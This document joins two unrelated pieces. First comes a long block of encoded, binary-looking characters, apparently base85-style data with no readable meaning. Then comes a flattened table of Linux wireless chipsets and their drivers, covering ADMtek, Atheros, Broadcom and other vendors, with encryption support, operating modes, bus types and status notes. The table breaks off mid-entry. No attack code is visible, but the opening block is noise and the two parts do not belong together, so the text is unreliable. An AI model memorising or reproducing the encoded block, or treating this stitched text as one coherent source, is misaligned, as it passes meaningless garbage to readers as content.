z8XTnTS&vXahEPj7`i(@G!06Go#uU_3UGz&1K z@fHs%ModZ*)nx>#7uW_n(xh#^`2rJYeZXW27{7L>;7?48B^lN=c39lVfYD{A62s+F zP5tsDGYen=t}Rw)F+wDw%fPiLYd{4ny$4;ZT&%JNpa0kRLv#N0Pq+KA{{UIchNU66 z#akzEF;?+cVdk#DuEkd_!oJxctCZIfx(j%s-HL=wmGqVuDRT;=NgYCo6f*88Y7SWp zh6chX0U<>W#IrLVtVtky6c*EPaaBb>hE64c7OXn_@^-|lqZK=C;(T&(4s$J}pEr|9}{vATD@EL-XZDF&NFmQf)@ zE+IoCq;ymS0>|2z_3wH-~xW^3FI1$h_2fa@hRLNpUbWRvh!6^0VRn507)HwjF3SK`3^^k zJNG?uK?s20w<-Z%%do{1sw5{N=^6<4`vB(jc1x4Hc+_b&HW&g1Iu0aX#A zMid@lfh^Ub6coWo7sPCe?(6STx0snjIBqTRQFcDycI)kkDUcOP>o3L0&^QcvB}lK* zHyJ)QCOaZvn~Y^jhp44bZ+*Mu;VWw)k-;)rX?(~pb#hF0@W`i$R@}8~wLClKK$S(s zlsKlM_e=_LC)AC2gIauD_Z_k#Ot=DJZzxuZS?6YzNoNOh^irL&*vgva9kvMjX;JPy zS3CznzSQlOMqArV<3W^K-A8Vw87M@QaO!B={J&mgi8zzSWw=F&%Oo`cVnWNxhNKfx zH|tMqv=*}(WQ(ZV$g)9loIy|APaP_(yC`6GDtq_Lj}^l>$lNnuE_t^0%Ek*a{{ULF zx8#t-J`$=;PZQp!vCOPFsn+WBah$HGy_3q?_c;vA`wj(pmTycGMg#U}d;R&7EF&P0 z2X{xS)9~!}t7+|Z-4jyM?xVN8j^-wg^2+X}3y2$T4pf2xB9#YYzG!t=&MbmQk?J|y zs>eK_ zUrr?eVbS%R62p47QzWSzD3!gA3s zr+U&*k6)3e8dKpLb?9rGX%b|8?@^0!W#yW|np@wgfCO_&qEvGJxkNsKHGY;Zti$|8AgN>8KMNDam8k~EU17KIsVSzOT6_9L$K zu2ZMRL9@AT&5&{enYENkrBYJI(*b=D#3%&SfIsCP`LT>cgEO-ux3XC(s)k88Gnl}y z7~|cTld%d8{qrM?W8bH9i!w@WZkDfSHM`og>L%qShV)26q)G^q6BQ^+8Zd67DLAt6 z#$sNG^lFg+CW6*T+{Y+kGB?K?DGUfZsjUd{`Q}Z6E-pEeXAP)m$YfGERe(}jpl&)= zfNn?AnAs&p%TbagZ6abL3|Q_+0FnUcOLxFB%YP;&bdR>vl=66(2ZVZ!QU`Da0qS~e zI^{X@)GAg%`x@mvlZkC(xe~mQF};z|{Z*nyygm~}6(p4de#X8zg8@8J0t5)}w^k=U z+w-JC!z5OYlE`PYl4f}<3o@XQg*lP{qYySV$jCxj0Nx~4>N1`liDA<%nj4q(L{|mD zwhUT|zY!pgB(-Q19>=a^%Tbau01F-L<1t7RZn4K9Xqg$n^yu3u9eG!-WC@wdA}8N` z{%A6{BYIZyz|p)iFpMjL0&!AH84!X?F#?P!u%=^V!Y7azosIMF>GNmD={s%{3uZ)l z%o4nj@nyG|s-qs?68vAUB{&lp*cV&0%m7gW;z+3W#6amAB&De%KOj}wgivf~Y16J% zlL(mMku*s7F^CswMan3WcYZdn695LpA)%-#MkirP_CH2siP#a1klzcY8FgnIvqX%t zdQQr+dP9_fNuemG@UCofYCm_-9+u@}k+vaz^OX96%;wf7k)eUY)k!ovkx)ocRR)09 zG0qr*2%>B4bMc<36!1VE+k`%ZJVIT!FIAnC{_;?S?NDk5PXm?k2$LSJOeARmb#H9Y z#{?YO=uaxqkf3NDo{=nAfYq%<1qXAL$BT>A$+je{)4Z{JtZG(zL@x!5_wf4m^WQkN zfW`q}{-mD`4;_y}dSx@5V-q8LGL~);e9{KCSsca25&N}iE>tu6DveG=FYOaR+jqiu z96%av6Qzevnj4ud94tD4bb=_>P)f+=jY(00EjyBFLrkdDhU~^m9!MvRMDu-lrIJXa zWQ&W2Jko&`n3M2OQ{mo}l%Oo=d;uOAT#Yle1c{_FA5EA?8J1$du!=w~eT8XEt(oM6QWMlBP-O4BGyVSJJhtdby_^GO0n=5Ot?c6jL4+2NYap4Z{bYGJGY2{xNJI8 zB!#A@d@8J?nH-zA1&vKH=7QZQNXb&$hQu0HhO|9CoNX54xhJJfXgXs`ydNBrw9VLH zDFJ2xmt?6|aV2U6MQM>cDJz(o3XYp}rZr4MVftYSrA0q1O9HAXUu>9F+aCDV>bXH` zB8r{+fzy8YSP8OKBh`ZZAb@FJr+$NcLbO3% zJcT)c$zI^}IICQU_rR;UQwl9qb)nez2dMfn2A7(uk_~#(p~ zOIB+;JR#QPg)UG3mk=_qXn2Op$O^RUV<^yNQ1gx$WR;ce$TE-svKp$*q|sijKsrTtsf91Um*}PQOU{ zb0#tr;m=~HBYCvR4hLBMLDLDl4^VQ9<#zW)HLHQJpdtWNos9xSi|D~KMikbK*w-&^^wP}X#<3^t9a*5c+XAyoCF z1WO!T$v&e#;)9{vrfu=Uc(&#$-m^=e9!w%Lkc@|W=szm?wiqpKZS__9gt8<8*2YRS zt?H*YW;H(w4XavxIg6^(N>UPsQ1cp{Avp<;sBgQ@e>CTZQr4jwZR*cxEMw$|qzidN zHA@Yu&DNu!%)JgQgBgskcWK$6LK}_VO@9p5(N57JkytT-N5tf?r3-9Yw9L6gfbJkf zi0*i$+g`q*$>0ktk;xR%F*PN{0r4DY2m`}4Gcq&tclh{3e4d$dE+nwiWxW)=Sdu%y zwGo}_cm}N!y$8=WMka@QsMtn%D@b>%lZwq_N!@OdpM5XNs3E&-Nz~e zQ{p$@F?CwW#}5=E@M(z?$rxR65HGs={25P}{H>*FI>Op%T7aI=#tgH7>_tx&`#YM0 z(0FFINw3M95i*YJsg4|3Od*$wBlv*Wp6W_pM_6EzXd@D&Q~GOk8;>!@ssv|oT2{Y7 z%$Vwo@=-KQZmaaT+*@ButNn?6;@ZPGFuVK_4^z}nPO>-K3O|$`hFgfvQ9MbIzDbUs zs;%^QV&T=U-J=N`4lcr!53mY2(uTf2PE(sqagjig&e-I}W4+RK9f6fZs(m%7UQPA^ z8y(KXZQClAq#k?M&Bi2yRaS;NW0pw7B+VmHYG^(pDY>8-P_=x%BvCep+ zcy7txkJIw!@NK#*dU&QqTcr|3Sv?}~$kDs4D=Gs|+EYS%W_;xdOMsAev43M`G6NRX zEM3~>_R1*^lWxldQb?+@sx?_Xb06ArYgQd-3CeIlV}OjvR9mupchcL5kQ zN$Du97kcl$Q~{3CEXmz1nmz$)I8@XEC;%s?$ac#B09~_-InzA1-GBC**PEe^_H#=-^mkH|Kj&kCv z03KWKeQoD<`rfmoL8;m4cZW}hShG5Qupj|`wQOIRj$^%kAU@%hND;G@EO40w^fnS_ zSXiNkGZ09}INiAqP;5$*xd*KGG{g4OQpa6dyJrIDKhz-SvAndf< zj}m>dqSzGPRp$(mFQCx`FU6Shbu};IE8q=0G97J@8&P%C){;eQ=-4Dv#p)aRgoLc@ z?pX@Pf4bnm2;*NKxXMDgCNYraQnZx9%J8#AFU8Hk1W?d`ppOyPC^k7aQ+AfOH#7Rt z$IsH0UgBD+09pFgh^eXQG89WLARqtH_(yW1>lYvKk^cZ$%!Z{Nn5%-849Y4K?H>$P z-#k@OO>ly(pOt(ts-6wi!>%AIpf$-MqG^Dra5cmfwgoHijVpLi-XV(h41UVjh^h9; z+LdVf@0LfK0*sDfY#FQj!U#Y+SH4V2n#^r1W~rrWE7vKMtkZm3{umJ=-AThlpi=4( z03A0m-gbyngevyr;_3-fV$%GK$KtbzH*%EhE zH8pi7Z~@yON>z}YK~>E_19AklYJ;lK_xa&M(02KC#U-#o`C&u41Avtd9eaNtqXnwq zJK-w08k%CNZt>OUAXZzsXc2^gfSto&Or>st2Z(Z^=eYJ>(dn~=^Tt7 zf*0Vd@=#ZbuU0hZ223GQI&ZcR7?e`AxVM%$Ez8`yA%^4BAR>-j(8o`Up42rIr+VbW zQRb+xA1Rtec^#6FNC-|Zu&W9hid0ZjC9+E0xRXLnIu5uMtB8F$8b4M!xYCluYK>42 z!blaRXm;y~SoxuO6+L#!!KQU-&XYRYv~MU{89_Y9CEyO^sG&ViL%v;(Rl7!L83GZy zl(5f#cX4dR?Os+E&igq*_DNH^)OPLDCq2!z;fahuJi=V!zYlZJ4^>ymK|(?58m5%+ zHO#osi-9XMq{`a)--ED0>K1+jWd!&rpdUv}oF}tPpgOWR?IT-rJl>*Av58^ip!$_0 zeEN*YjBHzoa&JLfOun88o>zV`_2o~BwWR?WJX7Ign-GxiXSO=3-9(mm0LyL9oMo7& z6WobL;O1;H-p;ys3?yVZvUs)0H0QSGF4pw)W#rtNJ?IC$2Eg^p{6QXjxRcWik5BUV zpDiJ|v6ECro+w|{X&FJ19-t<~mQ!7-av3prposN#IUh>uSE9hjg zm6lKyfIwJOaUHkrJN3hdRl(_ysSmZ+>9u1Y?(#=)^9%2;OMH*0@sfA}jyV87x&ZF0 zO~|P=%-#_~g*%*bj}N13Q+buHmJ*^zxT2yn>_OO7ob69@OqYqmD6(?lT4ihRo zQts#neg1}wG5oyD#EAs*{RwZA?a@T`7lkc;qZyD%@vxRk@I_i}@e{Rn@yl__aG(W- zTFGCkJzkB@Gi?k|#(#NJJ94VK3h^Kj;AysIgX_5+x_jMW*rFEDpG_^|2nY=z>RFF) z2J{24$w$+?j_eHk*?x;<8$eM3Vow%Apz_<1Ao~%T%~XdKo=zrQgmPqd_8+>GJ3^JA zK_R59Yp{x)I`z$dT}KS8d|HREa8rATQK$6FM7cuRZ~R4tL~57#^SkdS=5E zBx68sT&#O+Qh26#H5Y4XQfR`0val$CajOUAT5f6Xb0ShQ#b=n=x>({xJx4)~=Tp-N zxS5?+TE_l08<09v*k+$OhAf*0SE!hYpqtBL>a=AuDydc8o<7IMxkrc%*4EV=yY7=- z+1yGD@^WVdM8}8-1prchbfq%rP9xFCR>jDK#DS2#x%m#B^i}@=m31gA;MEO`cGh<& z1X1&&atTsuXhmsIK8(iF_J%1);u11EowlR1H8IBwvWEm^u)e){Bo_%i{82+3k1IV3 zS*&V{%8EHJAGA$3{<)Wk3^KV24j&&BKnBgFBG|^0#_>qb8B9PiQ5=BLsdXC zkuoPz2X8UVETu%>FqBDi2_MltOO+Gp2|U*ASBhp!X7t)c2DOvn z46E>iyVq*%<4nkmz#}AM$9sE&Y);k~?yaX=$8=4MhWgIdG-kLd=sgV!0xC|-+(92a zI7GN>AmEYuK;FZd3D(7pNeoI*)j>ZS5K9=rJ0V?xB9-?TgCV`{8-$cKYn0Tr3!AB& zFV=`_o1aBvQ6jB5q%egFtU#awzB!MJABBuZy1@I}B595+LF9!mT1agax2r5j9ndiB zq=0t%hT_^oJPg*;#=tbOl9DM?QdNZt@7F7kvAbo1%>-v0qi!Ky zK20RNi3~|JBoVbMN_W5wiY>8;=%aTio=Ms^k<#p`nXVtynb{Ys$w6ARNcPzD$^->& z8N*-)a#YYORchSm1VC;p;l_lLdH_4(Nfo)F%ekCL8;Y~lMoUdB+Rbq#!>**4OB`Ak zrb0cjL(WrjKFcf6apS&X%J~M-Gkbi}v0@n%`tZc$@#8ab3`g2((u%)41{B&SeG*x> z+W zCaO44P;5`p-z#mpqs1<2 zDi_d>;rsch%gl^N5G#`Zi{^@V4q$i%Zgjm#^ixIYrWOS=?}*ZcbNC&su9c)xPKdUtMTKT+R}qa+-@2OA)YoMeep!8FwJHzvr1|Zfs51GAICJgSQem) zS-;h4b&f@MEVzZrVwVL%g|p3_s!3|DMtOXC0u-C1h+H2}14gRLSiy*ybOQm+x#jMi z0ZIy7J|dYIexh!o;+GAexEOq<8e)}FxP1nWlgkXds{n25%0Zu+83$|ntuBoG%~AXx zhag4AKl}q1P2((lB@+hLMswU9)6*a+p}P=V>5*ejYf{XKMKN?QvJhTF6o{{s3 zGND49zH{vN2WfVBq~j~V`8K}_FnB%l>5G?$s#GqSI!Q7bZg@zs*i6>&jfd|mCQu&C ztVFcJYC1=mOP=) zw5z?0uG)pa8X#MpV%9X3Da9tmK$c@@DqFQye5fDe0+OB6L zTJ2Mi@$;C+Er+c|`C@29<^n=uh2h}|?e(DRF`+%@+i0}=IeqmGnW5Ivgzv93hIc`C zL6s?kan%YV)=`I=XzX_qlwz;|{K$?5(15`=)d{iZe*$2Z=Mh1oj)+4;b6zHUBcRZr zM^+`@#&9Q2zUt&%y;G+if--ol_!rPyAgwY#`7B%r_^SZwEc2~x_yaHRnP>_p7N=H( zK|J-MA?heSo)w;O6lU~?yR5R=X2XiRPJD@h5R>O6@k@>7-e_96+^Eu%%G!$u%rRVd zHE0r!{*dgckTY1XtkR}GoTqb|^W1rRbR=pf^zOd2Wxb^a;n_Bpr#*)v?JOgSa)cCybsu6mLmL26o2cec{exH7)_#2$Rb+g%A|PRHtDt4Vt%MnCK!QT#1%H z9#Xmz)TyD>l2*xu`IN9XUllsVcCs{;;^w>=$ywt@+Q24YTgIu!b~$73LLPZAb+=^5!e7E~-a+e?!`w+D>t0Xwv$;3rH9>6CDl$ z5SA$h-_z-TBJq{9E@>5$_qY}jln{cKZnCo)za#W+>H}0z-6~G{cWsNNEo34h`*}oY z|9aX@9)#)K4vu57rZ{K+4P+b=@ASFmk;<`%tM_gfhNLyAAZBTIs*r43Vkg3s#K|NC zoWnBtxOX+LSKHA^6w9j+#i7sapH`%P@+UHlAyl*aDWW^-{O6Y3B$s=PQut0cPwN@ej2Yxe~g8^HM+FWEwPlvBdX)4R|qE;;$c}St!8ZUEBv53 z^1bMl&{Rp_QYz%27ddY{r)U~WSCvo%&V|$Nq9de^)Ldu86axE2aaSW($rKCg{T!a~ zo_y-x`TXY4oVt?GTp^jvA3s1lx1a-6|V(bOqeXk~PI2 zsA0T6zNu6Jc(StWPiBM&9guJ5UsyHXHnK<3u6?uB3$6=ZahK0z&V)6#3)GDNuB3fV zIr#fLchO^9r2%LZmS+5T;hXZT!XA9}!PYellsZ8V!^mzot*!non{U5(@1~7-jnG7F zXOXC6re!_{ld0Z|B(fzXc-x-OhD&^&x7L)Rvdi73hX{T4Jy&MP7GAY@%vue|FTQo; znEIBmoJ>JY>mD6 z;*E*iX#D754V|0z*Aa)(OF;6sH!CFSe6)*@FI+orcZ~h#Yk+Ze&7mM6H+9qLmJN0f zZazOPu8GQ?dVf$5uM=uy*aDzadeoFu+P3De_bWpukdE6`O*4T?oObKom67`t_#;Cg zl&kxhK*nPYL$xS#&n5Z!78bc3Lc#5^Y7X=K4C|gj-?*SsP1I^Fw)IxoHW2Q$WCU&c zT4Fx?{y7MTk|)_h)>)G1tMqCj8CE*3lrlz%OT&-PU-@&xe=7NWDIImt#8*R*9!+ij zDr)Ob*1k;g3)ssgR1tV>@fb%)tAKu**{T~?;xCPY)|D`5gxSx4vFKVNXdcZY2ut*v zqimr0B%6UBRz@jqdS<*mr*3jHE0LQUJPi)K5gvC9l4ztfq)nxII}NdJklWIo9$)Ca z+`zVpu|fSbn`I4tUB%lv99t2A0aNJmE7nHtW>CJ^ZtDNA1Z){sigbv7k?J$raDd!JzGjko@Z znSpfG2q9QVBix*Ze*iu-T`=Q47ZV8->4)g2us?&)V4tw2kC6KiP*G}q#B(tS5HiVR zrNx-FfOt-Rz0mA$0eO|PTE}i8jpB(h9Ky3EWg&OUgC_xEFwMi^hiN^bmmsnO43Lvh zgaRf_pN;#BhQK$+F`G8&<|fXUF{@FSBf~i71E`kcy^zpaC!u=&InCk~?scV~MtsUj zwM2#VV1GER+bJ zu_FTZx~9>?A&{fHYCObpkwLWJ*no4J(T|S$AK=+Od}X9}NoRD=v0tSr=1KR(qoK6K zXPl;iEN}{`@1#V&#(4b$mmE~IgPKR`_#sVzVb8k6AV-@4+ za^IQtxm@_XR?JQnr97nLE~z6mrb9HI1WAmB(p6M)U=;jl-?kFKz*R3t1f7L7`X(Ya z6+{W2#8P)3Dw%c^U zZbWR8CHwx>Le8*D9^F*lXf)15d?`~v8AAyfW5+O0X0qT#Qab}T%&F-M=JdETU6nsP zcV!P))b!gx7DSy+-&0ZtPgeV^h)uDjhB5tiGb}$ge9bh>nClrRX4>JN?^xz0^>MhL zZyra`T?cDv_DBA7WGz8x6XhT`Kp9^y$&WJ@gtnrhOWqMIQ-A;XAAro!q}?O(3uIM1 zD%dH^F6Hp#>mk+JU;`(_^EYK>C=1c7iT#y7xP}!Jt>qQ)YbswsY!mBsW&Yv(weeW! zql|gkP%{#u+G+$BksEUs5pWLeSD10O!^XQTVuiwSvZWtX(hh&=vBjM<6aP%d?>uhGo!c&NmhqkY@q4(3Z(DbF zkB1dvH-Q1YVlBQpj1t9`IcJvGSA0+x62qNo_^ALf>NXLLV6HY$_t|oxo-e&UhCC4f zP)B0X=^Aw}f>~q9ImFO&#O>8)LCi{Xr#H~AqYVBeKCVBxm^nJow@D%0$*h+`^y_q0 zi7U}>wp0u59#|ewUuJ4Y<#9J9vKQ|AKFMsbfrTYQc zIN1~dz_aXg5comS?&0&+e$a6M$-STT!E`6FJ~65GdGzBR*yV76gYj-lM`vdugUe1w z*ZUe06~C7+1b$pDLb=r6oIj&{djhqcboTnjZVlOx*)2K z9cn(luEV3#2;JnYt*T}$eZfc+*=LmM0gpAJUKHZbYU&R4bAhG?4?6VLPNHrcxOm6u z;SMTxB$4SJ5oM}e{7gSBJeS=&pAOD{#o=g49+uQ#$n23m)pa81>E+JoUa>?i?X-0m z^0<6?r9-L0k*+jBvpe+VP%b4lj*oj~lZ~y(E`wZMU$nC{IP5u?yHuQa&ju zN0OgU3$Lj7$$M7U<*Gv!Z4)&;(bbdCWS|-ADuXobpN)Hm^?pUUM;Jf5Pv$}9!fdKr z7nCFExM?A-GyD<^?4(|H|A{&MA99H0Kje@R?m{C!l2jnj?Bhy=Z;Nr6xrrv8b%%^u zyyJfw{)`fZ)GEZe8(aOeJa~=(p-70w0XAW~)>freDQ?FYO&t zr2Gah9hILtb{n4Sj9H+eGwEiWi6&)b1Nwmtwrfvb$WvuTLEeF!XCT8^YY|2!i;uGv zKmBaV`yS0&(Z;U%oUOgI>~w~0phtY`u;JkQOR?M=sO~f6cnO)HXOvVJnbXdcAm{wO z#4!Qd3?O5>GR4nYJYuHLcrX((DvU}1p|YtsrPk15F%n4p(i+33i?JUsY)6arE%2T& zzuRH>#!YG^HCsPx-NflBF6x(xl+ARDTE)8l<(1-_^t&r%b|i1$+Bwm8kJQUX^YX)U z3qhe;p==kXxFE(v({>xQ`Fk%oUt!x0W7zkZB;Te0g+(&N!RS{~^;ax|&P*rA9o|q# zfWpCOQL^?i(j@26$1F>l=Cag$Kblfg9)DG}&{#V!l%aL1c92R*0RGQw;;i=)9r@p(M6IB2U=Vj*l1i^I8n4NASQ@>Jv z>D5o`ow+G5WayLdRZQj-iV%ODB(;IPRo0f&)j+{dkGt0IVj5v z&nDPt=G)rQL7HD{d`pgbQ#k8>MPmBJ*LsN2Fz!R`S}Y+GqF}5+QqT9*e3JpAuc2hm zBfh@k=R&S3kCuDH3WEe*`esrmdEi}J?M!J~df~jYlz9%KOp%+4kWWnQ=E~$}gHuw& zszifgJ%O~bzbm7GTbuT6ctLy!VeVEl&QoAFNuyXB<%}kNzdd}_7WPMnB-sl?6o?gD z;brhpkPG?4&&pC$&gpnzQ>|9#&1dVU-QqyXTVDQK;c23S0nLceB6C@wkQW=e<$`_K z)P`^oAy(Dm&~mVu4Q17SqD(Cld;0v-e3|9(rL2Xj*FK$t;8$CxHSOP0iei7UcsI1H zb149W{?79z-=wNM+wyfdxXoSwj5nTMK0V%O1Ixts4@8L?a-AsY$NrMZ`D;}6R_z0Z zR%W!y-1+rQ;il}{`a>#~9V|jUr4U zl_KYQOe04{<}LQ8x>tyG7zUeUlS{Ij9yyHnh*yWoxDq=Ju=?hjMTD`0I*8jspC4-D zsU7ex^(2xKzar8VNb-i28P$hpsrYm!Ny7nuE1-Ow@}#$Xy@9mjQc-GKRmH+El_(MV z+0LNj230Ys7Cy95xk>bhW-N$H!iU9US=L)OcFoYn0sce&t64aIWw=?3OUXBfdjK)4X zC$HcBLGA?wDQp|fEIB7*rBM5*K|}?pJ>@Iu3yvX_j8k zx6~QqlZo>{yf@81q{CE>S475yMTgkbBABiWkS~f`+8cIVos^cYIa7a< zIsAt0j8(9}xY*TC>^rMSoPG0RATI>&HYe71Mhc#GH+RMc&bu%{i;VTW)RNhCt~hZz zyw+u3WN`{}_uZn~2Y*)yc^y}zY#$~96iPF8!-y~rN~Fz=gWyu7znVaj0^Ed%kwzhv zB%`T!*!qy#BlTOycH#0t`($FA@=Q8TY4S$^u2Gc$eis*kkMc7iBZZGJE4|pBPcA~J zqjF9$jZivgjcl&hP&aL^WZp3&^`Ul-USpmf{88YTPNQ?qRzP=`vPI4tg{qtu$168& z_|oF7lUO_h{!K-LH{~SK!kM<;%0`EjIEw_QMRlLpaLygI%Pn-CGfG@iM`viwf%Z)i zoR;R`BXMP;W(*SIFE88ot6IEp89%~!6e{bY-uB@+gLG=KGtE^^fJpN5ep6z8Rby)m z#D^#4oZckJCk2(USX+|pMq$RQ`rvlD!oS%Dw$8>S?BgH)SvxwT!*Cu{E zGVA!pS*}!@A>fi}f#xBF4|)j6?X3+gOvIW<4u>+;ff#EI$}qY_)*|~Da*UUq6+)^Z zRBj&LAa&c!R-^xr{11?u{}1qS$eN|R<{yAX`7Ez4{6zl2Hhfcb&E{bnxx4p3MH6tF zim6uukEN_zK!x97a&G-E7=L^YOKIG&xVoj|^1Wx-IAS@=D;4?&@ZGrhgUO=4*ne@S-sr2fKVW#yyO=lAU}F6T5WxhaR!cV3qI{|mzPPEjas7XVMA;Td z4OrdLy*mcl`^I;3JnI;eCHqOC&Ep{%K5&`p{V79Xq4D^?(fk_-za=rQMwWMnIzCWQ z6a262A0T>&e*hIKjmE@+Pt1S{AF^uzr=A@27uIbozo)Zi(hhbhbPz_q_96bUzyHxH* z*z`P{!U?s&Jp1=`mx)&hqD|xYs6(VhJGy;7to2Z2t^@sgZ@IAT_MCAszhOSL+D{Ta zEeZxr-QUB&NX9$| zvyoZZ5M|3KqJ|fx;iR=!md8NA3DXAjF$UQV)+jcGs^V|t^6R;5I%~SI*#^p zoTDI{4MLDv=duAIe719q8(~jNYr{+Z-0mGqI1a(7!Zv>~?&LNWaG^^w&5_>=(~>9| zG}05fo_g^Qux%>~wUTN|o$f6|gYC9>e4q)E~7Pf8gV8LL*tu~$*vg%NiXgdq^Pyo7wS=qTN>#8BFP`t}y#D<(A z6ts1z^l2cWGH|*G4b^DQ7H&u9&TnmArodwYZ;tIeD1HsU?*9&+LdWFRT&8{u1joSg zr{8~Kgs{!S0u$LMP~P>cJyz$6f%jb@it=|?=VNL&xjfTd+lL#L66lfT`vqnt4!9e5 zfZIDEzL9CkGw#5y`rsi|iE-ty@ZfM78J;XI!1B&oruoccg?FyE8!cfni*BzfvD;io z?U6p)-4J^@0>l>~Nd5LpZiHp}J7(xUFU+Ca=@;H!BBtzMzwq_80-grSD5MQcqpr~# z^dV;33wN~vBeR*CaJ2NiETZzVq{bg~8VEC8&%UoU?vXm5_;_xu8BWw5Ec_nLGDm$G zu5*5>YaUm^^5K2+QTO+kTgZJb7!rOoaepoH9Q_*3tPoJC?3Q(e)R#wjeHj2fn^$Bp z=s>StU)GIeyM+^(h>H2jhbogcfw)7he?%SGwwE2kXO%vIKyw?}0zF~YCc-nmK3?1I z9Ufb?U6)wRd49%AoY^iB#c|I#G_Hm*-P*C1i78 zaC;~22KaQms4GnJYxTuzzn}YY%HVs1an?=OtK<9k7F!MZl^7xOZbNVNl9PL@Q{D3h z_jdhenD4~`MI)D<5~FY^|M@>aYKkfRuY&7_=!H$U0l}0KGerK{4i&OQ^pJ+qsyswn zzuvwJ-c?EwG3grkizJ>J`eJPtOz|1zcGm-hq%s$Um4qxgqNM_p!=JF{o_DJ?iuU^r3;L`yT5)am+{HSpa+x}0Ls{!5cHVCFl8 zN(cmTKJjf29XA^)vU>k=b}I<|YOlYfdAUUK=(vD4u+X;A);%gVPD!bK?3c8iG0G%& zKCI?E)UHUzBh&sIX9&|ft`_8;j z9vxD*k?hwH5TlhkaeDu1M-BaKC3OmQ6Y9ls(p#ihw=y8ccFE8fzH-$mTBn2}-J9hU zQY3d>DK+Xn94Na`^U>^gj@yQL?R|J0V!yra02T&cw9_l8JOd}o%xn~2j>A01dTBx} zTK)k(D2h%j?0)I=*|rTn$M{psz>h|m`ByU2sT21OA>iD3Ma3J`_9<}gyvjJJlcECe zbgo8ZUa50p_U7*yqE6M$BzMSGQLM&BTCIW8d+NRi25x5@mRd)=M2qD@kh}RnW~8mP z$@KQa?+06J;vTLrxzcSS7cp_!)$ZD7S+MAHz zp2_a!=BPCgg$Va(gcQgL9I_apFBdS{jos*l6D9clcjZM?C}`dHY!|h|Ij+!d6om>H jIPga=z?BbJz%#obLzB3=Gj!Iig7i@~ebpr5-_rjB& - - - ADMtek - ADM8211, ADM8211B - adm8211 - WEP - ? - ? - ? - ? - ? - ? - PCI/CB - currently broken AFAIK -adm8211 - b - - - Agere - HERMES II (WL60010) - wlags49_h2 - ? - y - ? - n - n - n - n - PCI/ PCMCIA - staging (vendor) driver -wlags49_h2 - b - - - Agere - HERMES II.5 (WL60040) - wlags49_h25 - ? - y - ? - n - n - n - n - PCI/ PCMCIA - staging (vendor) driver, not all devices supported -wlags49_h25 - (a)/b/g - - - Airgo - AGN100/AGN300 pre-N - agnx - - n - n - n - n - n - n - PCI/CB - driver never completed, abandoned -agnx - (a)b/g - - - Airgo - AGN300 pre-N USB - none - - - - - - - - USB 2.0 - devices not common - b/g - - - Aironet / -Cisco - 4500, 4800, -Cisco 340/350 - airo - WEP, WPA-TKIP - y - ? - ? - n - y - n - ISA/PCI /PCMCIA - airo - b - - - ALi - M4301A - none - - - - - - - - PCI/CB - devices not common (mainly WUSB11 v4) - b - - - AMD - Alchemy AM1772 - none - - - - - - - - PCI/CB - see this abomination - b - - - Atheros - - - - - - - - - - - - - - - Atheros - AR5000 - ath5k - - b - b - b - b - y - b - PCI/CB - tx support currently broken -ath5k - a - - - Atheros - AR5001A-AR5007EG - ath5k - WEP, WPA, WPA2 - y - y - y - y - y - y - PCI/PCIe /CB - ath5k - (a)/b/(g) - - - Atheros - AR5000-AR5007EG - madwifi - WEP, WPA, WPA2 - y - y - y - ? - y - ? - PCI/PCIe /CB - superseded by ath5k - (a)/b/(g) - - - Atheros - AR5513 -(Data Falcon) - none - - - - - - - - PCI/CB - somewhat relevant - (a)/b/g - - - Atheros - AR5005U (AR5523) - ar5523 - WEP, WPA, WPA2 - n - n - n - n - y - n - USB 2.0 - driver never completed, 5GHz mode non-functional? -ar5523 - (a)/b/g - - - Atheros - AR5005U (AR5523) - athusbwlan - WEP, WPA, WPA2 - y - ? - n - n - n - n - USB 2.0 - obsolete vendor driver - (a)/b/g - - - Atheros - AR9001U -(AR9170) - carl9170 - WEP, WPA, WPA2 - y - y - y - n - y - y - USB 2.0 - carl9170 - (a)/b/g/n - - - Atheros - AR600x - ar6k - WEP, WPA, WPA2 - y - ? - ? - ? - ? - ? - SDIO - - (a)/b/g - - - Atheros - AR6003 - ath6kl - WEP, WPA, WPA2 - y - y - n - n - n - ? - SDIO - driver currently in staging -0271:0402 -ath6kl - a/b/g/n - - - Atheros - AR9374 - ath6kl - - - - - - - - USB 2.0 - 0cf3:9375 -ath6kl - (a)/b/g/n - - - Atheros - AR2427+AR5008 -+AR900x - ath9k - WEP, WPA, WPA2 - y - y - y - y - y - y - PCI/PCIe /CB - fcs check broken in monitor mode since ~2.6.33 -ath9k - (a)/b/g/(n) - - - Atheros - AR9002U -(AR9271, AR7010) - ath9k_htc - WEP, WPA, WPA2 - y - y - y - y - y - y - USB 2.0 - 0411:0197 -ath9k_htc - (a)/b/g/n - - - Qualcomm Atheros - QCA6164, QCA6174, -QCA9880 v2, QCA9882 v2 -QCA9890 v2, QCA9892 v2 - ath10k - WEP, WPA, WPA2 - y - y - y - n - y - y - PCIe - +3.11 (4.3) -168c:003e -168c:0041 -ath10k - a/b/g/n (+ac) - - - Qualcomm Atheros - Wilocity Wil6210 -802.11ad 60GHz - wil6210 - - - - - - - - PCIe - wil6210 - a/b/g/n (+ac+ad) - - - Qualcomm - WFB400 - none - - - - - - - - PCI/ PCIe/ CB/ USB 2.0 - unknown if released, -Airgo AGN400 - (a)/b/g/n - - - Atmel - - - - - - - - - - - - - - - Atmel - AT76C502A - atmel - WEP - y - ? - n - n - ? - n - PCMCIA - atmel cs - b - - - Atmel - AT76C503A, AT76C505(A) - at76c50x-usb - WEP - y - n - n - n - beacons - n - USB 1.0 - at76c50x-usb - b - - - Broadcom - - - - - - - - - - - - - - - Broadcom - BCM4301, BCM4307, BCM4306r2 - b43legacy - WEP, WPA, WPA2 - y - y - y - y - y - y - PCI/CB/ PCMCIA - ssb -b43legacy - b/(g) - - - Broadcom - BCM4306r3, BCM4311, BCM4312, BCM4309, BCM4318(E), BCM4321, BCM4322 - b43 - WEP, WPA, WPA2 - y - y - y - y - y - y - PCI/PCIe /CB - ssb, no HT mode support -b43 - (a)/b/g/(n) - - - Broadcom - BCM43224, BCM43225, BCM4331 - b43 - WEP, WPA, WPA2 - y - y - y - y - y - y - PCIe - bcma, no HT mode support, no current 5GHz support -b43 - (a)/b/g/n - - - Broadcom - BCM4311, BCM4313, BCM4321, BCM4322, BCM4322x, BCM43225, BCM43227, BCM43228 - wl - WEP, WPA, WPA2 - y - y - n - n - n - n - PCIe - vendor driver -wl - (a)/b/g/(n) - - - Broadcom - BCM4320 and other -rndis variants - rndis_wlan - - y - y - n - n - n - n - USB 2.0 - rndis wlan - b/g - - - Broadcom - BCM4323x - none - - - - - - - - USB 2.0 - possible future support w/ brcmfmac? (probably not) - (a)/b/g/n - - - Broadcom - 